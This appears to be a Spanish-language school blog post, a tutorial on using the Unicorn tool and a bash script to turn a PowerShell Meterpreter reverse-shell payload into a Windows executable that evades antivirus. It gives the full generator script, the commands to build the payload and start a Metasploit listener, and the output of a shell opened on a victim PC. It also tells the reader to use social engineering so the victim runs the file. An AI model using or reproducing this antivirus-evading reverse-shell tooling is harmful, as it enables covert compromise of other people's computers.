Blog gratis
Reportar
Editar
¡Crea tu blog!
Compartir
¡Sorpréndeme!
Blog de la Escuela de Educación Secundaria Técnica N 8 de Quilmes
Administrador Prof. Claudio Enrique Alonso Alvite
img
21 de Julio, 2015    General

Un unicornio y powershell para evadir antivirus

Ya en 2010, en la conferencia BlackHat, David Kennedy ("ReL1K") y Josh Kelley ("Winfang") hablaban de Powershell como un vector de ataque con el que podían implementar un shell directo o inverso difícil de detectar por AV y HIPS, incluso FUD.

Microsoft Windows 7 SP1 y Windows Server 2008 R2 fueron las primeras versiones en incluir PowerShell (versión 2.0) instalado por defecto y desde entonces se ha ido siempre incluyendo en las versiones posteriores. Hoy, Windows Server 2012 R2 y Windows 8.1 incluyen la versión 4.0 de PowerShell. Por lo tanto usar PowerShell para atacar a una máquina Windows es buena idea.

En esta entrada vamos a ver Unicorn, un script en Python escrito precisamente por David Kennedy (Trustedsec) y que se basa en una técnica que presentó junto con Josh Kelley en la Defcon 18: un downgrade en Powershell para inyectar un shellcode en memoria.

En la última release 2.0 de la herramienta se incluyen distintos tipos de ataque (macro, html/hta, crt, ps1) y para llevarlos a cabo sólo tenemos que descargarnos el script y tener instalado por defecto Metasploit.

$ wget https://raw.githubusercontent.com/trustedsec/unicorn/master/unicorn.py


En nuestro ejemplo usaremos además un sencillo script de astr0baby que genera adicionalmente el código C para compilarlo y obtener un ejecutable Win32 que será indetectable por la mayoría de los antivirus actuales (TKaspersky, MS Essentials, ESET, McAfee ..):

#!/bin/bash
clear
echo '--------------------------------------'
echo ' Unicorn Powershell2C code generator  '
echo 'Works for Vista, Win7, Win8 32/64 bit'
echo '--------------------------------------'
if [ -z "$*" ];then  
echo 'Usage: unicorn2c.sh payload reverse_ipaddr port platform' 
echo 'Example: unicorn2c.sh windows/meterpreter/reverse_tcp 192.168.1.5 443 nonuac'
echo 'Valid platforms are: nonuac uac' 
exit 0 
fi
case $4 in 
nonuac)
echo 'Generating nonUAC unicorn.c ...' 
python unicorn.py $1 $2 $3  
echo '#include <stdio.h>' > unicorn.c 
echo '#include <string.h>' >> unicorn.c
echo '#include <stdlib.h>' >> unicorn.c
echo '#include <ctype.h>' >> unicorn.c 
echo '#include <aclapi.h>' >> unicorn.c 
echo '#include <shlobj.h>' >> unicorn.c 
echo '#include <windows.h>' >> unicorn.c 
echo '#pragma comment(lib, "advapi32.lib")' >> unicorn.c  
echo '#pragma comment(lib, "shell32.lib")' >> unicorn.c 
echo 'int main(int argc, char *argv[])' >> unicorn.c
echo '{' >> unicorn.c 
echo 'FreeConsole();' >> unicorn.c  
echo -n ' ShellExecute( NULL,NULL, "powershell.exe", "' >> unicorn.c
cat powershell_attack.txt | sed -r 's/^.{11}//' >> unicorn.c
echo -n '",NULL,NULL);' >> unicorn.c
echo '' >> unicorn.c 
echo 'exit(0);' >> unicorn.c
echo '}' >> unicorn.c 
todos unicorn.c 
echo '[*] Exported unicorn.c To compile use cl.exe unicorn.c'
;;
uac)
echo 'Generating UAC  unicorn.c ...'
python unicorn.py $1 $2 $3
echo '#include <stdio.h>' > unicorn.c
echo '#include <string.h>' >> unicorn.c
echo '#include <stdlib.h>' >> unicorn.c
echo '#include <ctype.h>' >> unicorn.c
echo '#include <windows.h>' >> unicorn.c
echo '#include <aclapi.h>' >> unicorn.c
echo '#include <shlobj.h>' >> unicorn.c
echo '#pragma comment(lib, "advapi32.lib")' >> unicorn.c
echo '#pragma comment(lib, "shell32.lib")' >> unicorn.c
echo 'int main(int argc, char *argv[])' >> unicorn.c
echo '{' >> unicorn.c
echo 'FreeConsole();' >> unicorn.c
echo -n ' ShellExecute( NULL, "runas", "powershell.exe", "' >> unicorn.c
cat powershell_attack.txt | sed -r 's/^.{11}//' >> unicorn.c
echo -n '",NULL,NULL);' >> unicorn.c
echo '' >> unicorn.c
echo 'exit(0);' >> unicorn.c
echo '}' >> unicorn.c
todos unicorn.c
echo '[*] Exported unicorn.c To compile use cl.exe unicorn.' 
;;
"")
echo 'Usage: unicorn2c.sh payload reverse_ipaddr port platform'
echo 'Example: unicorn2c.sh windows/meterpreter/reverse_tcp 192.168.1.5 443 nonuac'
echo 'Valid platforms are: nonuac, uac' 
exit 0 
;;
esac

Ahora le damos permisos de ejecución y generamos un payload para un shell inverso:

# chmod +x unicorn2c.sh
# ./unicorn2c.sh windows/meterpreter/reverse_tcp 192.168.1.201 8090 nonuac
--------------------------------------
 Unicorn Powershell2C code generator  
Works for Vista, Win7, Win8 32/64 bit
--------------------------------------
Generating nonUAC unicorn.c ...
[*] Generating the payload shellcode.. This could take a few seconds/minutes as we create the shellcode...
                                                         ,/
                                                        //
                                                      ,//
                                          ___   /|   |//
                                      `__/_ --(/|___/-/
                                   |_-___ __-_`- /-/ .
                                  |_-___,-_____--/_)' ) 
                                    -_ /     __ ( `( __`|
                                   `__|      |) ) /(/|
           ,._____.,            ',--//-|        |  '   /
          /     __. ,          / /,---|              /
         / /    _.           `/`_/ _,'        |     |
        |  | ( (     |      ,/'__/'/          |     |
        |    `--, `_/_------______/           (   )/
        | |   _. ,                            ___/
        | |  _                                      
             _       /                             
            ._  __ _|       |                       
           ___               |                        
           __ __   _ |                                |
           |  _____   ____      |                        |
           |   __ ---' .__     |        |               |
             __ ---   /   )     |                      /
               ____/ / ()(                `---_       /|
             __________/(,--__    _________.    |    ./ |
               |        `---_--,              _,./   |
               |        _ `     /`---_______-       /
                      .___,`|   /                    
                      |  _ |                 (   |:    |
                                |             /  / |    ;
                                           ( `_'     |
                    .         .             `__/   |  |
                                .                  |  |
                                                   (  )
                           |          |              |  |
                         |                          I  `
                         ( __;        ( _;            ('-_';
                         |___        ___:            ___:
                
Written by: Dave Kennedy at TrustedSec (https://www.trustedsec.com)
Twitter: @TrustedSec, @HackingDave
Happy Magic Unicorns.
[********************************************************************************************************]
                -----POWERSHELL ATTACK INSTRUCTIONS----
Everything is now generated in two files, powershell_attack.txt and unicorn.rc. The text file contains all 
of the code needed in order to inject the powershell attack into memory. Note you will need a place that 
supports remote command injection of some sort. Often times this could be through an excel/word  doc or 
through psexec_commands inside of Metasploit, SQLi, etc.. There are so many implications and  scenarios to 
where you can use this attack at. Simply paste the powershell_attacks.txt command in any command prompt 
window or where you have the ability to call the powershell executable and it will give a shell back to 
you. 
Note that you will need to have a listener enabled in order to capture the attack.
[*******************************************************************************************************] 
    
[*] Exported powershell output code to powershell_attack.txt.
[*] Exported Metasploit RC file as unicorn.rc. Run msfconsole -r unicorn.rc to execute and create listener.
./unicorn2c.sh: line 35: todos: command not found
[*] Exported unicorn.c To compile use cl.exe unicorn.c

Como resultado obtendremos 3 ficheros: 'powershell_attack.txt' que es el payload de Powershell, 'unicorn.rc' con las opciones del handler de Metasploit y 'unicorn.c' que viene a ser un programa que tan sólo lanza el payload con shellexecute.


El siguiente paso será compilar el código de 'unicorn.c' desde Windows (lc.exe), Linux (mono) o de forma online:



Finalmente subimos el ejecutable creado a un motor multi-AV (Virustotal por ej.) y comprobamos que no lo detecta ningún antivirus:


Sólo nos queda preparar el listener en nuestro equipo y usar un poco de ingeniería social para que nuestra víctima lo ejecute y poder obtener así un shell de forma silenciosa:

root@kali:/home/vmotos# msfconsole
msf > use exploit/multi/handler
msf exploit(handler) > set LHOST 192.168.1.201
LHOST => 192.168.1.201
msf exploit(handler) > set LPORT 8090
LPORT => 8091

msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(handler) > exploit 
[*] Started reverse handler on 192.168.1.201:8090
[*] Starting the payload handler...



[*] Sending stage (884270 bytes) to 192.168.1.8
[*] Meterpreter session 1 opened (192.168.1.201:8090 -> 192.168.1.8:61887) at 2015-07-20 02:45:49 +0200

meterpreter > systeminfo
[-] Unknown command: systeminfo.
meterpreter > sysinfo
Computer        : PCVICTIMA
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64 (Current Process is WOW64)
System Language : es_ES
Domain          : DOMINIO
Logged On Users : 3
Meterpreter     : x86/win32
meterpreter >


Palabras claves , , , , ,
publicado por alonsoclaudio a las 23:08 · Sin comentarios  ·  Recomendar
 
Más sobre este tema ·  Participar
Comentarios (0) ·  Enviar comentario
Enviar comentario

Nombre:

E-Mail (no será publicado):

Sitio Web (opcional):

Recordar mis datos.
Escriba el código que visualiza en la imagen Escriba el código [Regenerar]:
Formato de texto permitido: <b>Negrita</b>, <i>Cursiva</i>, <u>Subrayado</u>,
<li>· Lista</li>
CALENDARIO
Ver mes anterior Marzo 2024 Ver mes siguiente
DOLUMAMIJUVISA
12
3456789
10111213141516
17181920212223
24252627282930
31
BUSCADOR
Blog   Web
TÓPICOS
» General (2606)
NUBE DE TAGS  [?]
SECCIONES
» Inicio
ENLACES
MÁS LEÍDOS
» Analizando el LiveBox 2.1 de Orange
» Cómo espiar WhatsApp
» Cómo usar Metashield protector for Client y por qué utilizarlo
» Detectando tráfico de conexiones HTTP inversas de Meterpreter (Snort)
» Ejecución remota de código arbitrario en OpenSSH
» Ganar dinero con 1.200 Millones de identidades robadas
» Hardware y sus 4 Funcionamientos Basicos y Principales en una Computadora
» Redes de la Deep Web: CJDNS y la Red Hyperboria
» Unidad Central de Procesamiento CPU
» Wassap, la aplicación que permite usar WhatsApp desde la PC
SE COMENTA...
» Cómo espiar WhatsApp
595 Comentarios: Scott, Scott, Jarlinson mercy, [...] ...
» Qué hacer ante el robo de un teléfono móvil o una tableta
2 Comentarios: best buy security cameras swann, best buy security cameras swann
» Espiando usuarios gracias a la vulnerabilidad en cámaras TRENDnet
1 Comentario: Coin
» Recopilatorio de aplicaciones y sistemas vulnerables para practicar
2 Comentarios: vera rodrigez ...
» SoftPerfect WiFi Guard permite saber quién esta conectado a mi WiFi
2 Comentarios: firdous ...
SOBRE MÍ
FOTO

Prof. Claudio Enrique Alonso Alvite



» Ver perfil

AL MARGEN
Escuela de Educacion Secundaria Tecnica N 8 de Quilmes
(Técnicos en Informática Personal y Profesional)
FULLServices Network | Blogger | Privacidad